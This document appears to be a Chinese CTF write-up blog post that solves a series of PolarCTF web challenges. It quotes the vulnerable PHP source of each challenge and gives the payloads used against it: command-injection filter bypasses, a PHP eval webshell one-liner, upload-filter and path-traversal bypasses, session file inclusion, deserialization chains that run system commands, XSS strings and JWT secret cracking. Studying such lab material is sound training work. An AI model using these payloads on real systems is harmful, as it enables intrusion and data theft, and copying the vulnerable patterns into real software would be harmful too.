补题中ing
【SWP】
一开始看到这个就意识到了临时文件swp,所以直接上dirsearch
(dirsearch是一个专门用于查找网站敏感文件的程序)
例示样板:dirsearch -u (url)-e*

访问网站相对应ui
出现一段代码,仔细分辨之后,发现preg-match函数属于正则匹配NFA(标志性的绕过题目)
function jiuzhe($xdmtql){
return preg_match('/sys.*nb/is',$xdmtql);
}
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){
if(!jiuzhe($xdmtql)){
if(strpos($xdmtql,'sys nb')!==false){
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile';
}
}
常见的正则引擎,被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
当我们输入的次数超越了设定的回溯上线次数,即会返还false,得到flag,代码如下:
import requests
url = 'http://c7800bea-2a12-428d-b1d0-f2272162efa4.www.polarctf.com:8090/'
data = {
'xdmtql': 'sys nb'+'very' * 250000
}
r = requests.post(url=url, data=data).text
print(r)
借鉴文章:利用正则回溯最大次数上限绕过preg_match_限制正则表达式的回溯次数-CSDN博客
【简单rce】
<?php
highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?> nonono
题目分析,需要上传参数sys,post参数yyds,eval屏蔽关键词,使用include直接包含flag

借鉴文章:CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客
【蜜雪冰城吉警店】
直接改前端,即得flag

【召唤神龙】
JSFuck

在F12控制台,直接输入即得
【seek flag】
根据hint提示了解到爬虫,所以自然访问了robots.txt得到flag3,抓包之后发现flag2,并且注意到cookie id=0,改成1之后得到flag1


全部拼接起来得到flag:flag{7ac5b3ca8737a70f029dc0ad71dadd11}
【jwt】
根据题目即可察觉到考的是垂直越权,那么先注册一个账号,拿到jwt
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.Om63snUmClCNHsxk7VD9ebCqXUh512HcDm8OKnRm3iY
然后通过jwt crackers解出密钥为 SYSA
(jwt-cracker -t "<tokn>")
再修改名称和jwt,得到flag

【login】
打开F12,看到注释,其中出现了密码

尝试登录之后,发现只显示了登录成功,然后尝试更改最后一位数字,循环数字,即得flag
【iphone】
F12查看之后,发现提醒修改U-A,也就是uer-agent,这里运用了新学的方法(谢fulian佬)
我们在浏览器的F12中选择网络,并且找到php文件,并且以bash格式复制

随后,到hackbar插件中,选择curl command load ,即可直接修改标头,方便快捷!
(此处修改UA为iphone即得答案)

SQLmap使用教程图文教程(非常详细)从零基础入门到精通,看完这一篇就够了。-CSDN博客
【浮生日记】
浅谈javascript注入攻击_js注入攻击-CSDN博客
发现写入的,会成为代码一部分,那么可以考虑到
独立出一个script执行恶意代码
payload:
<scrscriptipt>alert(1)</scrscriptipt>
JavaScript三种弹出框(alert、confirm、prompt),一次性全弄清!_alert()-CSDN博客
XSS | XSS 常用语句以及绕过思路_xss语句-CSDN博客
【$$】
<?php
/*
PolarD&N CTF
*/
highlight_file(__file__);
error_reporting(0);
include "flag.php";
$a=$_GET['c'];
if(isset($_GET['c'])){
if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
die("oh on!!!");}
else{
eval("var_dump($$a);");}}
$GLOBALS读全局变量,即可得flag
【爆破】
<?php
error_reporting(0);
if(isset($_GET['pass'])){
$pass = md5($_GET['pass']);
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
include('flag.php');
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
交给ai写脚本,本质上就是md5问题
import hashlib
def check_condition(s):
# 计算字符串的MD5哈希
md5_hash = hashlib.md5(s.encode()).hexdigest()
# 检查长度是否为32位(MD5标准长度)
if len(md5_hash) != 32:
return False
try:
# 第一个条件:索引1、14、17位置的字符必须相同
c1 = md5_hash[1]
c14 = md5_hash[14]
c17 = md5_hash[17]
if c1 != c14 or c14 != c17:
return False
# 确保字符是数字且不为0(避免除零错误)
if not c1.isdigit() or c1 == '0':
return False
# 第二个条件:(c + c + c) / c == 索引31位置的字符的整数
c_int = int(c1)
sum_val = c_int + c_int + c_int
division = sum_val / c_int # 这应该等于3
# 检查索引31的字符
c31 = md5_hash[31]
if not c31.isdigit():
return False
if division != int(c31):
return False
# 所有条件都满足
return True, md5_hash
except Exception as e:
return False
# 开始爆破 - 尝试数字组合
def brute_force(start_length=1, end_length=6):
import itertools
digits = '0123456789'
for length in range(start_length, end_length + 1):
# 生成所有可能的数字组合
for combination in itertools.product(digits, repeat=length):
s = ''.join(combination)
result = check_condition(s)
if result:
print(f"找到符合条件的字符串: {s}")
print(f"对应的MD5哈希: {result[1]}")
return s
print(f"已尝试完所有{length}位数字组合,继续尝试更长的...")
print("未找到符合条件的字符串")
return None
if __name__ == "__main__":
brute_force()
”?pass=422“,即可得到flag
【XFF】
抓包之后改ip为1.1.1.1就好了,用x-Forwarded-For代指
【rce1】
过滤空格用${IFS}绕过
payload:
;tac${IFS}fllllaaag.php
然后查看源代码,即得flag
【GET-POST】
根据提示get ”?id=1“
然后使用hackbar,传参jljcxy=flag,得到flag
【被黑掉的站】
题目提示有马,用dirsearch扫了一下目录,发现两个节点
”/index.php.bak”打开页面之后,发现是一连串字典
“/shell.php”是一个登录页面,那么很明显了,用字典中的去爆破,最终得到flag
【签到题】
提示里面说:”承认是弟弟“,然后在api中能够看到如下,改为yes

返还了一个base64编码
<?php
error_reporting(0);
$file = $_GET['file'];
if(!isset($file))
$file = '1';
$file = str_replace('../', '', $file);
include_once($file.".php");
highlight_file(__FILE__);
?>
利用空双写绕过,在base64编码即得
【签到】
修改前端,得到flag
【session文件包含】
打开网址,抓包之后,发现有一个PHPSESSID 的标识,
根据题目和标识,可知这是session恶意代码
通过伪协议读取
?file=php://filter/convert.base64-encode/resource=action.php
发现一个php文件
<?php
session_start();
error_reporting(0);
$name =$_POST['name'];
if($name)
$_SESSION["username"] = $name;
include($_GET[file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
“session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看
有了参数,开始猜存放session文件的位置,一般默认为tmp,直接执行命令访问session文件”
于是开始,在hackbar检测自己输入名称的cookie,然后输入
url?file=/tmp/sess_+cookie
再对网页发送一句话木马,打开蚁剑即得flag

【Don't touch me】
F12根据注释,逐步修改前端,记得删除disable属性
【robots】
访问robots页面
【php very nice】
一个简单的反序列化
<?php
class Example {
public $sys;
}
$a = new Example();
$a->sys = "system('tac f*');"; // 想执行的命令:用 system 执行 shell 命令,tac f* 是读所有以 f 开头的文件(通常 flag 文件会这样命名)
echo serialize($a); // 把对象转成序列化字符串,得到 payload
?>
<?php @eval($_POST[a]);?>
【ezupload】
在brup中更改“Content-Type”为image/gif,即可成功上传一句话木马。再链接蚁剑,即可
【cookie欺骗】
修改cookie

【upload】
查看源码,访问“?action=show_code”
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
识别代码,发现是替换为空,那么直接双绕写
成功上传木马,蚁剑,flag
【干正则】
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
一眼一个变量覆盖,然后flag.php的正则也形同虚设,可以用通配之类的绕过
payload:
?id=a[0]=www.polarctf.com&cmd=;tac f*
【cool】
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){
eval($a);
}
}else{
highlight_file(__FILE__);
}
?>
payload:
?a=passthru('cat f*');
【uploader】
<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandBox)){
mkdir($sandBox,0755,true);
}
if($_FILES){
move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo $sandBox;
}
highlight_file(__FILE__);
基于客户端 IP 地址的 MD5 值创建一个唯一的沙箱目录,那么访问就好了
pyhon写一句话木马上传,然后拿到地址,连蚁剑
import requests
url = "http://4e7f436c-a5b9-4857-8d64-ea4f5d866915.www.polarctf.com:8090/"
files={'file':open("C:\\Users\\君\\Desktop\\1.php",'rb')}
result=requests.post(url,files=files)
print(result.text)

【覆盖】
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
通过构造特殊的 id
参数覆盖 $a
变量,使其满足条件判断,然后通过 cmd
参数注入系统命令获取 flag
payload:/?id=a[0]=www.polarctf.com&cmd=;tac%20f*
【PHP反序列化初试】
<?php
class Easy{
public $name;
}
class Evil{
public $evil;
public $env;
}
$b=new Evil();
$a=new Easy();
$a->name=$b;
$b->evil="tac f*";
echo serialize($a);
?>
如题目所说:一个反序列化,访问url/?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":1:{s:4:"evil";s:6:"tac f*";}}
【机器人】
访问robots.txt得到前半截,根据disallow,访问/27f5e15b6af3223f1176293cd015771d/flag.php,得到完整flag

【扫一扫】

用dirsearch扫描网址,发现之后打开源代码得到flag
【debudao】
随便抓包就看到了,在cookie
【审计】
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['xxs'])) {
$input = $_GET['xxs'];
if (is_array($input)) {
die("错误:输入类型不允许为数组。");
}
if (!preg_match("/^0e[0-9]+$/", md5($input))) {
die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
}
if (!is_numeric($input)) {
die("错误:输入必须是数字。");
}
die("恭喜:".$flag);
} else {
die("错误:必须设置正确参数。");
}
?>
通过验证用户传入的xxs
参数来决定是否输出 flag
写一个python代码枚举,我直接让ai来,得到了

【upload1】
和之前的那个ezupload非常类似
【rapyiquan】
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$url = $_SERVER['REQUEST_URI'];
function checkUrlParams($params) {
if (strpos($params, '_') !== false) {
return false;
}
return true;
}
if(checkUrlParams($url)){
$cmd=$_GET['c_md'];
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("badly!");
} else {
echo `$cmd`;
}
}else{
echo "$url";
echo "<br>";
echo "Hack";
}
用转义字符\绕过过滤
payload:
?c.md=t\ac /fl\ag.php
【bllbl_ser1】
class bllbl
{
public $qiang;//我的强
function __destruct(){
$this->bllliang();
}
function bllliang(){
$this->qiang->close();
}
}
class bllnbnl{
public $er;//我的儿
function close(){
eval($this->er);
}
}
if(isset($_GET['blljl'])){
$user_data=unserialize($_GET['blljl']);
}
反序列化进程
<?php
class bllbl{
public $qiang;//我的强
}
class bllnbnl{
public $er="system('tac /f*');";//我的儿
}
$a=new bllbl();
$b=new bllnbnl();
$a->qiang=$b;
echo serialize($a);
?>
【1ncIud3】
用dir扫描了一次,看到了flag.php


进入之后提示flag可能是其他的变种,列如:f1a9 f1ag f149,又因为扫过一次,肯定不在这个目录,那么用上级,考虑可能过滤../直接使用..././,最后得到flag
url?page=..././..././f1a9
【投喂】
依旧是一个反序列化
<?php
class User{
public $username;
public $is_admin=true;
}
$a=new User();
echo serialize($a);
?>
【狗黑子的RCE】
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$gouheizi1=$_GET['gouheizi1'];
$gouheizi2=$_POST['gouheizi2'];
$gouheizi2=str_replace('gouheizi', '', $gouheizi2);
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
echo("badly!");
exit;
}
if($gouheizi2==="gouheizi"){
system($gouheizi1);
}else{
echo "gouheizi!";
}
?>
双写绕过,和转义绕过
payload:
url?gouheizi1=t\ac /f\lag.php
gouheizi2=gogouheiziuheizi
【button】
查看源代码,即可看到script.js,查看即可看到

访问/proxy.php?file=flag
【井字棋】
查看源码,发现declarewinner函数控制胜利,之后在控制台输入 declareWinner("您赢了!")
则会弹出flag
ps:判断能否调用函数,核心在于确认该函数是否暴露在全局作用域
测试 控制台 typeof declareWinner,
- 如果返回
function
,说明函数在全局作用域,可以直接调用。 - 如果返回
undefined
,说明函数不在全局作用域,无法直接调用。
Comments NOTHING